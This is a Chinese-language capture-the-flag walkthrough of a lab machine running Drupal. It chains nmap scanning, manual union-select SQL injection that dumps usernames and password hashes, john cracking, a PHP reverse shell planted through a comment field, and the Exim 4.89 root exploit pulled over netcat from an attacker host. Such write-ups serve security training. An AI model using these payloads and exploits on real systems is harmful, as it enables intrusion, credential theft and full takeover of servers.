首先用 namp 扫描,获取目标 IP 地址:nmap -sn 192.168.67.0/24
其次再用 nmap 扫描下目标端口:nmap -A -p- 192.168.67.52/24
看来开放了 80 和 22 端口,上去网页浏览下:
点开各个页面看看,可以发现有些 URL 地址栏会变,在这里补充个知识 Drupal 的 id 名称为 node id 简称 nid,这里因为显示 2 3 node 所以想着会不会有 SQL 注入:
尝试加个单引号,就会产生报错信息,这在 Sqlilabs 上面训练的很多了,我们就知道这有注入
http://192.168.67.52/node/?nid=1%27
通过报错,我们可以看到后台 SQL 语句为:
SELECT title FROM node WHERE nid = 1;
下面是手工注入的过程:
http://192.168.67.52/node/?nid=1%27%23
http://192.168.67.52/node/?nid=1 order by 2
–报错
http://192.168.67.52/node/?nid=-1 union select 1
爆表名:
http://192.168.67.52/node/?nid=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database())
爆列名:
http://192.168.67.52/node/?nid=-1 union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')
爆数据:
http://192.168.67.52/node/?nid=-1 union select (select group_concat(name) from users)
http://192.168.67.52/node/?nid=-1 union select (select group_concat(pass) from users)
kali 字典跑一下这两个用户:
把密码存放到 pwd.txt
john pwd.txt
john --show pwd.txt
得到密码:turtle
http://192.168.67.52/robots.txt 查看一下有什么页面,利用刚刚得到的用户名和密码登陆:
http://192.168.67.52/user/login/
可以在这个页面下看到可以上传 php code,这里需要在前面随便加一点东西,否则不会生效:D原因尚不明
保存后,我们提交评论上去,并且 kali 做好侦听的准备:
webshell可选:/usr/share/webshells/php/php-reverse-shell.php
也可以 weevely 构造:|
提交即可获取 shell:
ls -l /home
ls -l /home/dc8user
没有发现
看看有无可疑提权的…
find -perm -4000
看到 exim 没有,有没有一种熟悉的感觉?前几关我们利用过呢~
先查看一下当前 exim 的版本:(man exim 查看文档)
exim --version
4.89,前面几关不都是 4.89 吗?
话不多说,传 poc:
kali 这边:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/k.sh
gedit k.sh
查看下用法
有两个参数,一个事 -m setuid || 另外一个是 -m netcat,一般第一个的利用都不成功的,直接试 netcat 先
这里还需要防止格式错误:
vim k.sh
set ff=unix
Esc+:+wq
nc -vnlp 6767 < k.sh
/bin/bash这边:
cd /tmp
nc 192.168.67.221 6767 > k.sh
chmod +x k.sh
bash k.sh -m netcat
一口气,爽爆了
总结:
1.SQL 注入2.对常见的CMS要深入了解3.细心观察4.linux 提权